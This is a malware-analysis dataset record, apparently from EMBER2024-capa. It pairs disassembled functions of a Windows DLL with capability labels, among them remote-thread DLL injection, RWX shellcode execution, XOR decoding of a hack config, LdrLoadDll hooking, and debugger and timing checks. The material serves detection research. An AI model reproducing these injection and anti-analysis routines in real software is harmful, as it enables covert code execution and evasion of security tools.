joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008d20
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 4
push 0x1000
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10008d5c
mov eax, dword [ebp + 8]
push 0
push ebx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10008d63
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop esi
pop ebp
ret 4
push 0x10015cd4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10008d4e
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10008d4e
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push esi
push edi
test eax, eax
jne 0x10008d56
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x1000a440
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea esi, [ebp - 0x408]
call fcn.10001080
lea eax, [ebp - 0x408]
push eax
lea esi, [ebx + 0x4ef4]
mov eax, str..HackIP.spk
call fcn.10001290
test al, al
je 0x1000a4b3
push 0
push 0x20
push 3
push 0
push 1
push closesocket
push str..HackIP.spk
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a4b3
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x4e48
je 0x1000a4c5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012706
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 0x40c]
push ecx
push 0x4e48
lea esi, [ebx + 4]
push esi
push edi
mov dword [ebp - 0x40c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000a4ac
mov eax, esi
mov ecx, 0x4e48
mov dl, byte [eax]
sub dl, 0xb
xor dl, 0x7d
mov byte [eax], dl
inc eax
dec ecx
jne 0x1000a4f3
call fcn.10007440
lea eax, [ebx + 0xf4]
call fcn.100074c0
lea eax, [ebx + 0x1abc]
call fcn.10007520
lea eax, [ebx + 0x3484]
call fcn.10007580
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10012706
mov esp, ebp
pop ebp
ret
Function at 0x1000a780
Capabilities:
Check mutex on windows
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
lea ebx, [edi + 0x4e4c]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000a7a3
sub eax, edx
cmp eax, 3
jb 0x1000a87b
cmp dword [edi + 0x4e6c], 0
je 0x1000a848
lea esi, [ebp - 0x408]
call fcn.10001080
mov eax, esi
push eax
lea esi, [ebp - 0x40c]
mov eax, ebx
call fcn.10001290
test al, al
jne 0x1000a804
mov esi, 0x101251d8
call fcn.1000ed90
mov esi, 0x10125300
call fcn.1000ed90
mov esi, 0x10125428
call fcn.1000ed90
call fcn.1000f020
mov ecx, dword [edi + 0x4e6c]
cmp ecx, dword [ebp - 0x40c]
je 0x1000a848
mov esi, 0x101251d8
call fcn.1000ed90
mov esi, 0x10125300
call fcn.1000ed90
mov esi, 0x10125428
call fcn.1000ed90
push 0x10
add edi, 0x46
push edi
push str.Launcher_not_found_or_invalid_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1000f020
push str.32770
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000a874
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.1000f020
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012706
mov esp, ebp
pop ebp
ret
Function at 0x1000aba0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013418
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x1001a018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101251d0]
cmp eax, 0x927c0
jb 0x1000abe3
call esi
mov dword [0x101251d0], eax
xor esi, esi
cmp dword [0x101251bc], esi
je 0x1000ac55
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov edx, dword [0x101251c0]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.1000a980
mov edi, dword [ebp - 0x20]
test al, al
je 0x1000ac3d
cmp edi, dword [ebp - 0x1c]
je 0x1000ac3d
lea ecx, [ebp - 0x20]
push ecx
call fcn.1000ac70
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000ac55
push edi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000b180
Capabilities:
Check for time delay via gettickcount
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001376f
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
push ebx
push esi
mov eax, dword [0x1001a018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101251d0]
cmp eax, 0x927c0
jb 0x1000b1c6
call esi
mov dword [0x101251d0], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x20]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
push 0x14
lea edx, [ebp - 0x1c]
push edx
mov dword [ebp - 4], ebx
call fcn.1000a980
mov esi, dword [ebp - 0x1c]
test al, al
jne 0x1000b20e
cmp esi, dword [ebp - 0x18]
jne 0x1000b2f5
lea eax, [ebp - 0x1c]
push eax
call fcn.1000b390
cmp dword [0x10125130], ebx
je 0x1000b2f5
push 0x32
lea ecx, [ebp - 0x1c]
push ecx
call fcn.1000a980
lea edx, [ebp - 0xf0]
push edx
call fcn.1000b560
lea esi, [ebp - 0xd8]
mov byte [ebp - 4], 1
call fcn.1000c130
push ebx
test eax, eax
jne 0x1000b268
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax + 4]
push 2
lea ecx, [ebp + ecx - 0xf0]
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
jmp 0x1000b27f
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx + 4]
push ebx
lea ecx, [ebp + ecx - 0xf0]
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
push ebx
sub edx, esi
push edx
push esi
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0xf0]
push eax
call fcn.1000b620
push 2
push str.image.jpeg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.100023b0
mov edx, dword [ebp - 0xf0]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x34], ecx
mov dword [ebp + eax - 0xf0], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 2
call fcn.1000b6a0
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], bl
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x80]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp esi, ebx
je 0x1000b30d
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c230
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013588
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x1000c3c2
cmp byte [ebx + 0x49], 0
je 0x1000c3c2
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x1000c3b6
lea esi, [ebp - 0x2c]
call fcn.1000c560
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x1000c2a3
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x1000c2db
dec eax
je 0x1000c2df
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x1000c3bd
call fcn.10002e50
xor al, al
jmp 0x1000c3c4
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x1000c2ef
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x1000c31d
cmp edi, 0x10
jae 0x1000c2fe
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x1000c3ae
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x1000c3ba
test esi, esi
jne 0x1000c297
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x1000c3df
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x1000c3df
cmp edi, esi
jae 0x1000c397
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.10002bf0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x1000c297
mov ecx, eax
cmp edi, 0x10
jae 0x1000c373
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x1000c38e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x1000c291
test esi, esi
jne 0x1000c369
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x1000c3a6
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x1000c291
lea esi, [ebp - 0x2c]
call fcn.10002e50
xor al, al
jmp 0x1000c3c4
lea esi, [ebp - 0x2c]
call fcn.10002e50
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012706
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x1000c600
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x10125e88
call esi
mov ecx, dword [ebp + 8]
push 0x100
add ecx, 5
push ecx
push 0x10125e88
call sub.MSVCR100.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 0x100
push 0x10125e88
call esi
push 0
push 0
push 0
push 0x1000c5e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x1000c670
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x100
push 0
push 0x1012b428
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x1000c6e0
mov cl, byte [eax + 0x1001d060]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x1012b428], cl
inc eax
cmp eax, 0x100
jl 0x1000c6e0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.PREMIUM
push 0x1012b428
push 0
mov ecx, 0x10120080
call fcn.10006f20
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.10012706
mov esp, ebp
pop ebp
ret
Function at 0x1000c760
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10016e80
push 0x10012c24
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x1001a018]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x20], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14c], eax
push ecx
push str..PhysicalDrive_d
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push esi
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x148], edi
cmp edi, 0xffffffff
je 0x1000c912
xor eax, eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], esi
mov dword [ebp - 0x134], esi
push esi
lea ecx, [ebp - 0x150]
push ecx
push 8
lea edx, [ebp - 0x140]
push edx
push 0xc
lea eax, [ebp - 0x138]
push eax
push 0x2d1400
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call ebx
test eax, eax
jne 0x1000c844
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000c912
mov ecx, dword [ebp - 0x13c]
push ecx
call fcn.10010688
mov esi, eax
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x13c]
push edx
push 0
push esi
call sub.MSVCR100.dll_memset
add esp, 0x10
push 0
lea eax, [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
push esi
push 0xc
lea edx, [ebp - 0x138]
push edx
push 0x2d1400
push edi
call ebx
test eax, eax
jne 0x1000c8a3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
jmp 0x1000c912
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000c890
mov dword [ebp - 4], 0
add eax, esi
push eax
push 0x100
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x1000c914
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.10012706
mov esp, ebp
pop ebp
ret
Function at 0x1000ccb0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100132d8
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
mov eax, dword [0x1001a018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov eax, dword fs:[0x30]
movzx ecx, byte ds:[eax + 2]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], ebx
je 0x1000cd0e
push ebx
push ebx
push 0xa
call fcn.10004620
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x20], vtable.CProcessQuery.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
push 2
push 0x23
lea esi, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.1000a370
test al, al
mov eax, dword [ebp - 0x1c]
je 0x1000cd67
cmp eax, ebx
je 0x1000cd7a
cmp byte [eax], bl
je 0x1000cd67
cmp byte [eax + 1], bl
jne 0x1000cd67
push ebx
push ebx
push 0xa
call fcn.10004620
add esp, 0xc
mov ecx, esi
call fcn.1000a330
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, ebx
je 0x1000cd7a
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000d2e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push str.LdrLoadDll
push str.Ntdll.dll
mov dword [ebp - 0xc], 0x304e25ff
mov word [ebp - 8], 0x501a
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1000d318
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push 0x10125f88
call edi
mov ecx, dword [esi]
mov dword [0x10125f88], ecx
mov ecx, dword [ebp - 4]
mov dx, word [esi + 4]
lea eax, [ebp - 4]
push eax
push ecx
push 6
push 0x10125f88
mov word [0x10125f8c], dx
call edi
lea edx, [ebp - 4]
push edx
push 0x40
push 6
push esi
call edi
mov eax, dword [ebp - 0xc]
mov cx, word [ebp - 8]
mov dword [esi], eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 6
push esi
mov word [esi + 4], cx
call edi
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000d380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push str.LdrLoadDll
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1000d3a9
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call edi
mov ecx, dword [0x10125f88]
mov dword [esi], ecx
mov ecx, dword [ebp - 4]
mov dx, word [0x10125f8c]
lea eax, [ebp - 4]
push eax
push ecx
push 6
push esi
mov word [esi + 4], dx
call edi
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000d3f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
mov eax, dword [0x1001a018]
xor eax, esp
mov dword [esp + 0x420], eax
push ebx
push esi
push edi
lea esi, [esp + 0x28]
call fcn.10001080
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
push 0xc
lea eax, [esp + 0x20]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
test eax, eax
jne 0x1000d45c
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x420]
xor ecx, esp
call fcn.10012706
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + 0x3c]
xor ecx, ecx
cmp cx, word [eax + edx + 6]
jae 0x1000d4d1
mov ecx, dword [eax + edx + 0x104]
add ecx, edx
mov edx, dword [eax + edx + 0x100]
or eax, 0xffffffff
mov dword [esp + 0x10], edx
mov esi, ecx
test edx, edx
je 0x1000d4ac
lea esp, [esp]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [esp + edi*4 + 0x28]
inc esi
dec edx
jne 0x1000d490
mov edx, dword [esp + 0x10]
not eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edx
call fcn.1000e950
push eax
lea edi, [esp + 0x10]
call fcn.1000e1b0
mov ecx, dword [esp + 0x42c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov al, 1
call fcn.10012706
mov esp, ebp
pop ebp
ret
Function at 0x1000d4f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea esi, [ebp - 0x408]
call fcn.10001080
mov edi, dword [0x1012b0b0]
mov edx, dword [edi]
cmp edx, edi
je 0x1000d59c
lea ecx, [ecx]
mov ecx, dword [edx + 0x14]
mov esi, dword [edx + 0x10]
or eax, 0xffffffff
test ecx, ecx
je 0x1000d551
lea ecx, [ecx]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [ebp + edi*4 - 0x408]
inc esi
dec ecx
jne 0x1000d530
mov edi, dword [0x1012b0b0]
not eax
cmp dword [edx + 0x18], eax
jne 0x1000d5af
cmp byte [edx + 0x1d], 0
jne 0x1000d598
mov eax, dword [edx + 8]
cmp byte [eax + 0x1d], 0
jne 0x1000d57d
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
jne 0x1000d598
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
je 0x1000d571
jmp 0x1000d598
mov eax, dword [edx + 4]
cmp byte [eax + 0x1d], 0
jne 0x1000d596
cmp edx, dword [eax + 8]
jne 0x1000d596
mov edx, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0x1d], 0
je 0x1000d586
mov edx, eax
cmp edx, edi
jne 0x1000d520
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012706
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.10012706
mov esp, ebp
pop ebp
ret

Function at 0x1000efa0
Capabilities:
Check for time delay via gettickcount

Disassembly:
cmp byte [0x1012b0c4], 0
push esi
je 0x1000f010
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1012b0c8]
cmp eax, 0x1388
jbe 0x1000f010
push 0x1012b0f4
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x1000f010
call fcn.10001030
call esi
mov dword [0x1012b0c8], eax
test eax, eax
je 0x1000f005
call fcn.1000eef0
test al, al
jne 0x1000f005
push 0x1388
xor ecx, ecx
call fcn.10007680
push eax
push 2
mov eax, 0x10125428
call fcn.1000f450
add esp, 0xc
pop esi
ret
push 0x1012b0f4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
ret

Function at 0x1000f080
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, ebx
jae 0x1000f0b2
jmp 0x1000f0a0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
cmp eax, ebx
jb 0x1000f0a0
pop edi
xor al, al
pop esi
pop ebp
ret